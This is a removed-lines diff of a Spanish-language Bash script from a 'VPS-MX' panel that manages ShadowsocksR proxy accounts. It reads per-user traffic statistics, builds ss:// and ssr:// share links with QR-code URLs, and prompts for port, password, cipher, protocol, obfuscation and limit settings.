-	#u=$(echo "${user_info_get}"|grep -w "u :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}')
-	#d=$(echo "${user_info_get}"|grep -w "d :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}')
-	forbidden_port=$(echo "${user_info_get}" | grep -w "Puerto prohibido :" | sed 's/[[:space:]]//g' | awk -F ":" '{print $NF}')
-	[[ -z ${forbidden_port} ]] && forbidden_port="Permitir todo"
-	msg -bar
-	speed_limit_per_con=$(echo "${user_info_get}" | grep -w "speed_limit_per_con :" | sed 's/[[:space:]]//g' | awk -F ":" '{print $NF}')
-	msg -bar
-	speed_limit_per_user=$(echo "${user_info_get}" | grep -w "speed_limit_per_user :" | sed 's/[[:space:]]//g' | awk -F ":" '{print $NF}')
-	msg -bar
-	Get_User_transfer "${port}"
-}
-Get_User_transfer() {
-	transfer_port=$1
-	#echo "transfer_port=${transfer_port}"
-	all_port=$(${jq_file} '.[]|.port' ${config_user_mudb_file})
-	#echo "all_port=${all_port}"
-	port_num=$(echo "${all_port}" | grep -nw "${transfer_port}" | awk -F ":" '{print $1}')
-	#echo "port_num=${port_num}"
-	port_num_1=$(expr ${port_num} - 1)
-	#echo "port_num_1=${port_num_1}"
-	transfer_enable_1=$(${jq_file} ".[${port_num_1}].transfer_enable" ${config_user_mudb_file})
-	#echo "transfer_enable_1=${transfer_enable_1}"
-	u_1=$(${jq_file} ".[${port_num_1}].u" ${config_user_mudb_file})
-	#echo "u_1=${u_1}"
-	d_1=$(${jq_file} ".[${port_num_1}].d" ${config_user_mudb_file})
-	#echo "d_1=${d_1}"
-	transfer_enable_Used_2_1=$(expr ${u_1} + ${d_1})
-	#echo "transfer_enable_Used_2_1=${transfer_enable_Used_2_1}"
-	transfer_enable_Used_1=$(expr ${transfer_enable_1} - ${transfer_enable_Used_2_1})
-	#echo "transfer_enable_Used_1=${transfer_enable_Used_1}"
-
-	if [[ ${transfer_enable_1} -lt 1024 ]]; then
-		transfer_enable="${transfer_enable_1} B"
-	elif [[ ${transfer_enable_1} -lt 1048576 ]]; then
-		transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1024'}')
-		transfer_enable="${transfer_enable} KB"
-	elif [[ ${transfer_enable_1} -lt 1073741824 ]]; then
-		transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1048576'}')
-		transfer_enable="${transfer_enable} MB"
-	elif [[ ${transfer_enable_1} -lt 1099511627776 ]]; then
-		transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1073741824'}')
-		transfer_enable="${transfer_enable} GB"
-	elif [[ ${transfer_enable_1} -lt 1125899906842624 ]]; then
-		transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1099511627776'}')
-		transfer_enable="${transfer_enable} TB"
-	fi
-	#echo "transfer_enable=${transfer_enable}"
-	if [[ ${u_1} -lt 1024 ]]; then
-		u="${u_1} B"
-	elif [[ ${u_1} -lt 1048576 ]]; then
-		u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1024'}')
-		u="${u} KB"
-	elif [[ ${u_1} -lt 1073741824 ]]; then
-		u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1048576'}')
-		u="${u} MB"
-	elif [[ ${u_1} -lt 1099511627776 ]]; then
-		u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1073741824'}')
-		u="${u} GB"
-	elif [[ ${u_1} -lt 1125899906842624 ]]; then
-		u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1099511627776'}')
-		u="${u} TB"
-	fi
-	#echo "u=${u}"
-	if [[ ${d_1} -lt 1024 ]]; then
-		d="${d_1} B"
-	elif [[ ${d_1} -lt 1048576 ]]; then
-		d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1024'}')
-		d="${d} KB"
-	elif [[ ${d_1} -lt 1073741824 ]]; then
-		d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1048576'}')
-		d="${d} MB"
-	elif [[ ${d_1} -lt 1099511627776 ]]; then
-		d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1073741824'}')
-		d="${d} GB"
-	elif [[ ${d_1} -lt 1125899906842624 ]]; then
-		d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1099511627776'}')
-		d="${d} TB"
-	fi
-	#echo "d=${d}"
-	if [[ ${transfer_enable_Used_1} -lt 1024 ]]; then
-		transfer_enable_Used="${transfer_enable_Used_1} B"
-	elif [[ ${transfer_enable_Used_1} -lt 1048576 ]]; then
-		transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1024'}')
-		transfer_enable_Used="${transfer_enable_Used} KB"
-	elif [[ ${transfer_enable_Used_1} -lt 1073741824 ]]; then
-		transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1048576'}')
-		transfer_enable_Used="${transfer_enable_Used} MB"
-	elif [[ ${transfer_enable_Used_1} -lt 1099511627776 ]]; then
-		transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1073741824'}')
-		transfer_enable_Used="${transfer_enable_Used} GB"
-	elif [[ ${transfer_enable_Used_1} -lt 1125899906842624 ]]; then
-		transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1099511627776'}')
-		transfer_enable_Used="${transfer_enable_Used} TB"
-	fi
-	#echo "transfer_enable_Used=${transfer_enable_Used}"
-	if [[ ${transfer_enable_Used_2_1} -lt 1024 ]]; then
-		transfer_enable_Used_2="${transfer_enable_Used_2_1} B"
-	elif [[ ${transfer_enable_Used_2_1} -lt 1048576 ]]; then
-		transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1024'}')
-		transfer_enable_Used_2="${transfer_enable_Used_2} KB"
-	elif [[ ${transfer_enable_Used_2_1} -lt 1073741824 ]]; then
-		transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1048576'}')
-		transfer_enable_Used_2="${transfer_enable_Used_2} MB"
-	elif [[ ${transfer_enable_Used_2_1} -lt 1099511627776 ]]; then
-		transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1073741824'}')
-		transfer_enable_Used_2="${transfer_enable_Used_2} GB"
-	elif [[ ${transfer_enable_Used_2_1} -lt 1125899906842624 ]]; then
-		transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1099511627776'}')
-		transfer_enable_Used_2="${transfer_enable_Used_2} TB"
-	fi
-	#echo "transfer_enable_Used_2=${transfer_enable_Used_2}"
-}
-urlsafe_base64() {
-	date=$(echo -n "$1" | base64 | sed ':a;N;s/\n/ /g;ta' | sed 's/ //g;s/=//g;s/+/-/g;s/\//_/g')
-	echo -e "${date}"
-}
-ss_link_qr() {
-	SSbase64=$(urlsafe_base64 "${method}:${password}@${ip}:${port}")
-	SSurl="ss://${SSbase64}"
-	SSQRcode="http://www.codigos-qr.com/qr/php/qr_img.php?d=${SSurl}"
-	ss_link=" SS    Link :\n ${Green_font_prefix}${SSurl}${Font_color_suffix} \n Codigo QR SS:\n ${Green_font_prefix}${SSQRcode}${Font_color_suffix}"
-}
-ssr_link_qr() {
-	SSRprotocol=$(echo ${protocol} | sed 's/_compatible//g')
-	SSRobfs=$(echo ${obfs} | sed 's/_compatible//g')
-	SSRPWDbase64=$(urlsafe_base64 "${password}")
-	SSRbase64=$(urlsafe_base64 "${ip}:${port}:${SSRprotocol}:${method}:${SSRobfs}:${SSRPWDbase64}")
-	SSRurl="ssr://${SSRbase64}"
-	SSRQRcode="http://www.codigos-qr.com/qr/php/qr_img.php?d=${SSRurl}"
-	ssr_link=" SSR   Link :\n ${Red_font_prefix}${SSRurl}${Font_color_suffix} \n Codigo QR SSR:\n ${Red_font_prefix}${SSRQRcode}${Font_color_suffix}"
-}
-ss_ssr_determine() {
-	protocol_suffix=$(echo ${protocol} | awk -F "_" '{print $NF}')
-	obfs_suffix=$(echo ${obfs} | awk -F "_" '{print $NF}')
-	if [[ ${protocol} = "origin" ]]; then
-		if [[ ${obfs} = "plain" ]]; then
-			ss_link_qr
-			ssr_link=""
-		else
-			if [[ ${obfs_suffix} != "compatible" ]]; then
-				ss_link=""
-			else
-				ss_link_qr
-			fi
-		fi
-	else
-		if [[ ${protocol_suffix} != "compatible" ]]; then
-			ss_link=""
-		else
-			if [[ ${obfs_suffix} != "compatible" ]]; then
-				if [[ ${obfs_suffix} = "plain" ]]; then
-					ss_link_qr
-				else
-					ss_link=""
-				fi
-			else
-				ss_link_qr
-			fi
-		fi
-	fi
-	ssr_link_qr
-}
-# Display configuration information
-View_User() {
-	clear
-	SSR_installation_status
-	List_port_user
-	while true; do
-		echo -e "Ingrese el puerto de usuario para ver la informacion\nde la cuenta completa"
-		msg -bar
-		stty erase '^H' && read -p "(Predeterminado: cancelar):" View_user_port
-		[[ -z "${View_user_port}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1
-		View_user=$(cat "${config_user_mudb_file}" | grep '"port": '"${View_user_port}"',')
-		if [[ ! -z ${View_user} ]]; then
-			Get_User_info "${View_user_port}"
-			View_User_info
-			break
-		else
-			echo -e "${Error} Por favor ingrese el puerto correcto !"
-		fi
-	done
-	#read -p "Enter para continuar" enter
-}
-View_User_info() {
-	ip=$(cat ${config_user_api_file} | grep "SERVER_PUB_ADDR = " | awk -F "[']" '{print $2}')
-	[[ -z "${ip}" ]] && Get_IP
-	ss_ssr_determine
-	clear
-	echo -e " Usuario [{user_name}] Informacion de Cuenta:"
-	msg -bar
-	echo -e " PANEL VPS-MX By @Kalix1"
-
-	echo -e " IP : ${Green_font_prefix}${ip}${Font_color_suffix}"
-
-	echo -e " Puerto : ${Green_font_prefix}${port}${Font_color_suffix}"
-
-	echo -e " Contraseña : ${Green_font_prefix}${password}${Font_color_suffix}"
-
-	echo -e " Encriptacion : ${Green_font_prefix}${method}${Font_color_suffix}"
-
-	echo -e " Protocol : ${Red_font_prefix}${protocol}${Font_color_suffix}"
-
-	echo -e " Obfs : ${Red_font_prefix}${obfs}${Font_color_suffix}"
-
-	echo -e " Limite de dispositivos: ${Green_font_prefix}${protocol_param}${Font_color_suffix}"
-
-	echo -e " Velocidad de subproceso Unico: ${Green_font_prefix}${speed_limit_per_con} KB/S${Font_color_suffix}"
-
-	echo -e " Velocidad Maxima del Usuario: ${Green_font_prefix}${speed_limit_per_user} KB/S${Font_color_suffix}"
-
-	echo -e " Puertos Prohibido: ${Green_font_prefix}${forbidden_port} ${Font_color_suffix}"
-
-	echo -e " Consumo de sus Datos:\n Carga: ${Green_font_prefix}${u}${Font_color_suffix} + Descarga: ${Green_font_prefix}${d}${Font_color_suffix} = ${Green_font_prefix}${transfer_enable_Used_2}${Font_color_suffix}"
-
-	echo -e " Trafico Restante: ${Green_font_prefix}${transfer_enable_Used} ${Font_color_suffix}"
-	msg -bar
-	echo -e " Trafico Total del Usuario: ${Green_font_prefix}${transfer_enable} ${Font_color_suffix}"
-	msg -bar
-	echo -e "${ss_link}"
-	msg -bar
-	echo -e "${ssr_link}"
-	msg -bar
-	echo -e " ${Green_font_prefix} Nota: ${Font_color_suffix}
-  En el navegador, abra el enlace del codigo QR, puede\n ver la imagen del codigo QR."
-	msg -bar
-}
-#Configuracion de la informacion de configuracion
-Set_config_user() {
-	msg -bar
-	echo -ne "\e[92m 1) Ingrese un nombre al usuario que desea Configurar\n (No repetir, o se marcara incorrectamente!)\n"
-	msg -bar
-	stty erase '^H' && read -p "(Predeterminado: VPS-MX):" ssr_user
-	[[ -z "${ssr_user}" ]] && ssr_user="VPS-MX"
-	echo && echo -e "	Nombre de usuario : ${Green_font_prefix}${ssr_user}${Font_color_suffix}" && echo
-}
-Set_config_port() {
-	msg -bar
-	while true; do
-		echo -e "\e[92m 2) Por favor ingrese un Puerto para el Usuario "
-		msg -bar
-		stty erase '^H' && read -p "(Predeterminado: 2525):" ssr_port
-		[[ -z "$ssr_port" ]] && ssr_port="2525"
-		expr ${ssr_port} + 0 &>/dev/null
-		if [[ $? == 0 ]]; then
-			if [[ ${ssr_port} -ge 1 ]] && [[ ${ssr_port} -le 65535 ]]; then
-				echo && echo -e "	Port : ${Green_font_prefix}${ssr_port}${Font_color_suffix}" && echo
-				break
-			else
-				echo -e "${Error} Por favor ingrese el numero correcto (1-65535)"
-			fi
-		else
-			echo -e "${Error} Por favor ingrese el numero correcto (1-65535)"
-		fi
-	done
-}
-Set_config_password() {
-	msg -bar
-	echo -e "\e[92m 3) Por favor ingrese una contrasena para el Usuario"
-	msg -bar
-	stty erase '^H' && read -p "(Predeterminado: VPS-MX):" ssr_password
-	[[ -z "${ssr_password}" ]] && ssr_password="VPS-MX"
-	echo && echo -e "	contrasena : ${Green_font_prefix}${ssr_password}${Font_color_suffix}" && echo
-}
-Set_config_method() {
-	msg -bar
-	echo -e "\e[92m 4) Seleccione tipo de Encriptacion para el Usuario\e[0m
- $(msg -bar)
-  ${Green_font_prefix} 1.${Font_color_suffix} Ninguno
-  ${Green_font_prefix} 2.${Font_color_suffix} rc4
-  ${Green_font_prefix} 3.${Font_color_suffix} rc4-md5
-  ${Green_font_prefix} 4.${Font_color_suffix} rc4-md5-6
-  ${Green_font_prefix} 5.${Font_color_suffix} aes-128-ctr
-  ${Green_font_prefix} 6.${Font_color_suffix} aes-192-ctr
-  ${Green_font_prefix} 7.${Font_color_suffix} aes-256-ctr
-  ${Green_font_prefix} 8.${Font_color_suffix} aes-128-cfb
-  ${Green_font_prefix} 9.${Font_color_suffix} aes-192-cfb
-  ${Green_font_prefix}10.${Font_color_suffix} aes-256-cfb
-  ${Green_font_prefix}11.${Font_color_suffix} aes-128-cfb8
-  ${Green_font_prefix}12.${Font_color_suffix} aes-192-cfb8
-  ${Green_font_prefix}13.${Font_color_suffix} aes-256-cfb8
-  ${Green_font_prefix}14.${Font_color_suffix} salsa20
-  ${Green_font_prefix}15.${Font_color_suffix} chacha20
-  ${Green_font_prefix}16.${Font_color_suffix} chacha20-ietf
-  
-  ${Red_font_prefix}17.${Font_color_suffix} xsalsa20
-  ${Red_font_prefix}18.${Font_color_suffix} xchacha20
- $(msg -bar)
-  ${Tip} Para salsa20/chacha20-*:\n Porfavor instale libsodium:\n Opcion 4 en menu principal SSRR"
-	msg -bar
-	stty erase '^H' && read -p "(Predeterminado: 16. chacha20-ietf):" ssr_method
-	msg -bar
-	[[ -z "${ssr_method}" ]] && ssr_method="16"
-	if [[ ${ssr_method} == "1" ]]; then
-		ssr_method="Ninguno"
-	elif [[ ${ssr_method} == "2" ]]; then
-		ssr_method="rc4"
-	elif [[ ${ssr_method} == "3" ]]; then
-		ssr_method="rc4-md5"
-	elif [[ ${ssr_method} == "4" ]]; then
-		ssr_method="rc4-md5-6"
-	elif [[ ${ssr_method} == "5" ]]; then
-		ssr_method="aes-128-ctr"
-	elif [[ ${ssr_method} == "6" ]]; then
-		ssr_method="aes-192-ctr"
-	elif [[ ${ssr_method} == "7" ]]; then
-		ssr_method="aes-256-ctr"
-	elif [[ ${ssr_method} == "8" ]]; then
-		ssr_method="aes-128-cfb"
-	elif [[ ${ssr_method} == "9" ]]; then
-		ssr_method="aes-192-cfb"
-	elif [[ ${ssr_method} == "10" ]]; then
-		ssr_method="aes-256-cfb"
-	elif [[ ${ssr_method} == "11" ]]; then
-		ssr_method="aes-128-cfb8"
-	elif [[ ${ssr_method} == "12" ]]; then
-		ssr_method="aes-192-cfb8"
-	elif [[ ${ssr_method} == "13" ]]; then
-		ssr_method="aes-256-cfb8"
-	elif [[ ${ssr_method} == "14" ]]; then
-		ssr_method="salsa20"
-	elif [[ ${ssr_method} == "15" ]]; then
-		ssr_method="chacha20"
-	elif [[ ${ssr_method} == "16" ]]; then
-		ssr_method="chacha20-ietf"
-	elif [[ ${ssr_method} == "17" ]]; then
-		ssr_method="xsalsa20"
-	elif [[ ${ssr_method} == "18" ]]; then
-		ssr_method="xchacha20"
-	else
-		ssr_method="aes-256-cfb"
-	fi
-	echo && echo -e "	Encriptacion: ${Green_font_prefix}${ssr_method}${Font_color_suffix}" && echo
-}
-Set_config_protocol() {
-	msg -bar
-	echo -e "\e[92m 5) Por favor, seleccione un Protocolo
- $(msg -bar)
-  ${Green_font_prefix}1.${Font_color_suffix} origin
-  ${Green_font_prefix}2.${Font_color_suffix} auth_sha1_v4
-  ${Green_font_prefix}3.${Font_color_suffix} auth_aes128_md5
-  ${Green_font_prefix}4.${Font_color_suffix} auth_aes128_sha1
-  ${Green_font_prefix}5.${Font_color_suffix} auth_chain_a
-  ${Green_font_prefix}6.${Font_color_suffix} auth_chain_b
- 
-  ${Red_font_prefix}7.${Font_color_suffix} auth_chain_c
-  ${Red_font_prefix}8.${Font_color_suffix} auth_chain_d
-  ${Red_font_prefix}9.${Font_color_suffix} auth_chain_e
-  ${Red_font_prefix}10.${Font_color_suffix} auth_chain_f
- $(msg -bar)
-  ${Tip}\n Si selecciona el protocolo de serie auth_chain_ *:\n Se recomienda establecer el metodo de cifrado en ninguno"
-	msg -bar
-	stty erase '^H' && read -p "(Predterminado: 1. origin):" ssr_protocol
-	msg -bar
-	[[ -z "${ssr_protocol}" ]] && ssr_protocol="1"
-	if [[ ${ssr_protocol} == "1" ]]; then
-		ssr_protocol="origin"
-	elif [[ ${ssr_protocol} == "2" ]]; then
-		ssr_protocol="auth_sha1_v4"
-	elif [[ ${ssr_protocol} == "3" ]]; then
-		ssr_protocol="auth_aes128_md5"
-	elif [[ ${ssr_protocol} == "4" ]]; then
-		ssr_protocol="auth_aes128_sha1"
-	elif [[ ${ssr_protocol} == "5" ]]; then
-		ssr_protocol="auth_chain_a"
-	elif [[ ${ssr_protocol} == "6" ]]; then
-		ssr_protocol="auth_chain_b"
-	elif [[ ${ssr_protocol} == "7" ]]; then
-		ssr_protocol="auth_chain_c"
-	elif [[ ${ssr_protocol} == "8" ]]; then
-		ssr_protocol="auth_chain_d"
-	elif [[ ${ssr_protocol} == "9" ]]; then
-		ssr_protocol="auth_chain_e"
-	elif [[ ${ssr_protocol} == "10" ]]; then
-		ssr_protocol="auth_chain_f"
-	else
-		ssr_protocol="origin"
-	fi
-	echo && echo -e "	Protocolo : ${Green_font_prefix}${ssr_protocol}${Font_color_suffix}" && echo
-	if [[ ${ssr_protocol} != "origin" ]]; then
-		if [[ ${ssr_protocol} == "auth_sha1_v4" ]]; then
-			stty erase '^H' && read -p "Set protocol plug-in to compatible mode(_compatible)?[Y/n]" ssr_protocol_yn
-			[[ -z "${ssr_protocol_yn}" ]] && ssr_protocol_yn="y"
-			[[ $ssr_protocol_yn == [Yy] ]] && ssr_protocol=${ssr_protocol}"_compatible"
-			echo
-		fi
-	fi
-}
-Set_config_obfs() {
-	msg -bar
-	echo -e "\e[92m 6) Por favor, seleccione el metodo OBFS
- $(msg -bar)
-  ${Green_font_prefix}1.${Font_color_suffix} plain
-  ${Green_font_prefix}2.${Font_color_suffix} http_simple
-  ${Green_font_prefix}3.${Font_color_suffix} http_post
-  ${Green_font_prefix}4.${Font_color_suffix} random_head
-  ${Green_font_prefix}5.${Font_color_suffix} tls1.2_ticket_auth
- $(msg -bar)
-   Si elige tls1.2_ticket_auth, entonces el cliente puede\n  elegir tls1.2_ticket_fastauth!"
-	msg -bar
-	stty erase '^H' && read -p "(Predeterminado: 5. tls1.2_ticket_auth):" ssr_obfs
-	[[ -z "${ssr_obfs}" ]] && ssr_obfs="5"
-	if [[ ${ssr_obfs} == "1" ]]; then
-		ssr_obfs="plain"
-	elif [[ ${ssr_obfs} == "2" ]]; then
-		ssr_obfs="http_simple"
-	elif [[ ${ssr_obfs} == "3" ]]; then
-		ssr_obfs="http_post"
-	elif [[ ${ssr_obfs} == "4" ]]; then
-		ssr_obfs="random_head"
-	elif [[ ${ssr_obfs} == "5" ]]; then
-		ssr_obfs="tls1.2_ticket_auth"
-	else
-		ssr_obfs="tls1.2_ticket_auth"
-	fi
-	echo && echo -e "	obfs : ${Green_font_prefix}${ssr_obfs}${Font_color_suffix}" && echo
-	msg -bar
-	if [[ ${ssr_obfs} != "plain" ]]; then
-		stty erase '^H' && read -p "Configurar modo Compatible (Para usar SS)? [y/n]: " ssr_obfs_yn
-		[[ -z "${ssr_obfs_yn}" ]] && ssr_obfs_yn="y"
-		[[ $ssr_obfs_yn == [Yy] ]] && ssr_obfs=${ssr_obfs}"_compatible"
-	fi
-}
-Set_config_protocol_param() {
-	msg -bar
-	while true; do
-		echo -e "\e[92m 7) Limitar Cantidad de Dispositivos Simultaneos\n  ${Green_font_prefix} auth_*La serie no es compatible con la version original. ${Font_color_suffix}"
-		msg -bar
-		echo -e "${Tip} Limite de numero de dispositivos:\n Es el numero de clientes que usaran la cuenta\n el minimo recomendado 2."
-		msg -bar
-		stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_protocol_param
-		[[ -z "$ssr_protocol_param" ]] && ssr_protocol_param="" && echo && break
-		expr ${ssr_protocol_param} + 0 &>/dev/null
-		if [[ $? == 0 ]]; then
-			if [[ ${ssr_protocol_param} -ge 1 ]] && [[ ${ssr_protocol_param} -le 9999 ]]; then
-				echo && echo -e "	Limite del dispositivo: ${Green_font_prefix}${ssr_protocol_param}${Font_color_suffix}" && echo
-				break
-			else
-				echo -e "${Error} Por favor ingrese el numero correcto (1-9999)"
-			fi
-		else
-			echo -e "${Error} Por favor ingrese el numero correcto (1-9999)"
-		fi
-	done
-}
-Set_config_speed_limit_per_con() {
-	msg -bar
-	while true; do
-		echo -e "\e[92m 8) Introduzca un Limite de Velocidad x Hilo (en KB/S)"
-		msg -bar
-		stty erase '^H' && read -p "(Predterminado: Ilimitado):" ssr_speed_limit_per_con
-		msg -bar
-		[[ -z "$ssr_speed_limit_per_con" ]] && ssr_speed_limit_per_con=0 && echo && break
-		expr ${ssr_speed_limit_per_con} + 0 &>/dev/null
-		if [[ $? == 0 ]]; then
-			if [[ ${ssr_speed_limit_per_con} -ge 1 ]] && [[ ${ssr_speed_limit_per_con} -le 131072 ]]; then
-				echo && echo -e "	Velocidad de Subproceso Unico: ${Green_font_prefix}${ssr_speed_limit_per_con} KB/S${Font_color_suffix}" && echo
-				break
-			else
-				echo -e "${Error} Por favor ingrese el numero correcto (1-131072)"
-			fi
-		else
-			echo -e "${Error} Por favor ingrese el numero correcto (1-131072)"
-		fi
-	done
-}
-Set_config_speed_limit_per_user() {
-	msg -bar
-	while true; do
-		echo -e "\e[92m 9) Introduzca un Limite de Velocidad Maxima (en KB/S)"
-		msg -bar
-		echo -e "${Tip} Limite de Velocidad Maxima del Puerto :\n Es la velocidad maxima que ira el Usuario."
-		msg -bar
-		stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_speed_limit_per_user
-		[[ -z "$ssr_speed_limit_per_user" ]] && ssr_speed_limit_per_user=0 && echo && break
-		expr ${ssr_speed_limit_per_user} + 0 &>/dev/null
-		if [[ $? == 0 ]]; then
-			if [[ ${ssr_speed_limit_per_user} -ge 1 ]] && [[ ${ssr_speed_limit_per_user} -le 131072 ]]; then
-				echo && echo -e "	Velocidad Maxima del Usuario : ${Green_font_prefix}${ssr_speed_limit_per_user} KB/S${Font_color_suffix}" && echo
-				break
-			else
-				echo -e "${Error} Por favor ingrese el numero correcto (1-131072)"
-			fi
-		else
-			echo -e "${Error} Por favor ingrese el numero correcto (1-131072)"
-		fi
-	done
-}
-Set_config_transfer() {
-	msg -bar
-	while true; do
-		echo -e "\e[92m 10) Ingrese Cantidad Total de Datos para el Usuario\n   (en GB, 1-838868 GB)"
-		msg -bar
-		stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_transfer
-		[[ -z "$ssr_transfer" ]] && ssr_transfer="838868" && echo && break
-		expr ${ssr_transfer} + 0 &>/dev/null
-		if [[ $? == 0 ]]; then
-			if [[ ${ssr_transfer} -ge 1 ]] && [[ ${ssr_transfer} -le 838868 ]]; then
-				echo && echo -e "	Trafico Total Para El Usuario: ${Green_font_prefix}${ssr_transfer} GB${Font_color_suffix}" && echo
-				break
-			else
-				echo -e "${Error} Por favor ingrese el numero correcto (1-838868)"
-			fi
-		else
-			echo -e "${Error} Por favor ingrese el numero correcto (1-838868)"
-		fi
-	done
-}
-Set_config_forbid() {
-	msg -bar
-	echo "PROIBIR PUERTOS"
-	msg -bar
-	echo -e "${Tip} Puertos prohibidos:\n Por ejemplo, si no permite el acceso al puerto 25, los\n usuarios no podran acceder al puerto de correo 25 a\n traves del proxy de SSR. Si 80,443 esta desactivado,\n los usuarios no podran acceda a los sitios\n http/https normalmente."
-	msg -bar
-	stty erase '^H' && read -p "(Predeterminado: permitir todo):" ssr_forbid
-	[[ -z "${ssr_forbid}" ]] && ssr_forbid=""
-	echo && echo -e "	Puerto prohibido: ${Green_font_prefix}${ssr_forbid}${Font_color_suffix}" && echo
-}
-Set_config_enable() {
-	user_total=$(expr ${user_total} - 1)
-	for ((integer = 0; integer <= ${user_total}; integer++)); do
-		echo -e "integer=${integer}"
-		port_jq=$(${jq_file} ".[${integer}].port" "${config_user_mudb_file}")
-		echo -e "port_jq=${port_jq}"
-		if [[ "${ssr_port}" == "${port_jq}" ]]; then
-			enable=$(${jq_file} ".[${integer}].enable" "${config_user_mudb_file}")
-			echo -e "enable=${enable}"
-			[[ "${enable}" == "null" ]] && echo -e "${Error} Obtenga el puerto actual [${ssr_port}] Estado deshabilitado fallido!" && exit 1
-			ssr_port_num=$(cat "${config_user_mudb_file}" | grep -n '"puerto": '${ssr_port}',' | awk -F ":" '{print $1}')
-			echo -e "ssr_port_num=${ssr_port_num}"
-			[[ "${ssr_port_num}" == "null" ]] && echo -e "${Error}Obtener actual Puerto [${ssr_port}] Numero de filas fallidas!" && exit 1
-			ssr_enable_num=$(expr ${ssr_port_num} - 5)
-			echo -e "ssr_enable_num=${ssr_enable_num}"
-			break
-		fi
-	done
-	if [[ "${enable}" == "1" ]]; then
-		echo -e "Puerto [${ssr_port}] El estado de la cuenta es: ${Green_font_prefix}Enabled ${Font_color_suffix} , Cambiar a ${Red_font_prefix}Disabled${Font_color_suffix} ?[Y/n]"
-		stty erase '^H' && read -p "(Predeterminado: Y):" ssr_enable_yn
-		[[ -z "${ssr_enable_yn}" ]] && ssr_enable_yn="y"
-		if [[ "${ssr_enable_yn}" == [Yy] ]]; then
-			ssr_enable="0"
-		else
-			echo -e "Cancelado...\n$(msg -bar)" && exit 0
-		fi
-	elif [[ "${enable}" == "0" ]]; then
-		echo -e "Port [${ssr_port}] El estado de la cuenta:${Green_font_prefix}Habilitado ${Font_color_suffix} , Cambie a ${Red_font_prefix}Deshabilitado${Font_color_suffix} ?[Y/n]"
-		stty erase '^H' && read -p "(Predeterminado: Y):" ssr_enable_yn
-		[[ -z "${ssr_enable_yn}" ]] && ssr_enable_yn = "y"
-		if [[ "${ssr_enable_yn}" == [Yy] ]]; then
-			ssr_enable="1"
-		else
-			echo "Cancelar ..." && exit 0
-		fi
-	else
-		echo -e "${Error} El actual estado de discapacidad de Puerto es anormal.[${enable}] !" && exit 1
-	fi
-}
-Set_user_api_server_pub_addr() {
-	addr=$1
-	if [[ "${addr}" == "Modify" ]]; then
-		server_pub_addr=$(cat ${config_user_api_file} | grep "SERVER_PUB_ADDR = " | awk -F "[']" '{print $2}')
-		if [[ -z ${server_pub_addr} ]]; then
-			echo -e "${Error} La IP del servidor o el nombre de dominio obtenidos fallaron!" && exit 1
-		else
-			echo -e "${Info} La IP del servidor o el nombre de dominio actualmente configurados es ${Green_font_prefix}${server_pub_addr}${Font_color_suffix}"
-		fi
-	fi
-	echo "Introduzca la IP del servidor o el nombre de dominio que se mostrara en la configuracion del usuario (cuando el servidor tiene varias IP, puede especificar la IP o el nombre de dominio que se muestra en la configuracion del usuario)"
-	msg -bar
-	stty erase '^H' && read -p "(Predeterminado:Deteccion automatica de la red externa IP):" ssr_server_pub_addr
-	if [[ -z "${ssr_server_pub_addr}" ]]; then
-		Get_IP
-		if [[ ${ip} == "VPS_IP" ]]; then
-			while true; do
-				stty erase '^H' && read -p "${Error} La deteccion automatica de la IP de la red externa fallo, ingrese manualmente la IP del servidor o el nombre de dominio" ssr_server_pub_addr
-				if [[ -z "$ssr_server_pub_addr" ]]; then
-					echo -e "${Error}No puede estar vacio!"
-				else
-					break
-				fi
-			done
-		else
-			ssr_server_pub_addr="${ip}"
-		fi
-	fi
-	echo && msg -bar && echo -e "	IP o nombre de dominio: ${Green_font_prefix}${ssr_server_pub_addr}${Font_color_suffix}" && msg -bar && echo
-}
-Set_config_all() {
-	lal=$1
-	if [[ "${lal}" == "Modify" ]]; then
-		Set_config_password
-		Set_config_method
-		Set_config_protocol
-		Set_config_obfs
-		Set_config_protocol_param
-		Set_config_speed_limit_per_con
-		Set_config_speed_limit_per_user
-		Set_config_transfer
-		Set_config_forbid
-	else
-		Set_config_user
-		Set_config_port
-		Set_config_password
-		Set_config_method
-		Set_config_protocol
-		Set_config_obfs
-		Set_config_protocol_param
-		Set_config_speed_limit_per_con
-		Set_config_speed_limit_per_user
-		Set_config_transfer
-		Set_config_forbid
-	fi
-}
-#Modificar la informaci�n de configuraci�n
-Modify_config_password() {
-	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -k "${ssr_password}" | grep -w "edit user ")
-	if [[ -z "${match_edit}" ]]; then
-		echo -e "${Error} Fallo la modificacion de la contrasena del usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
-	else
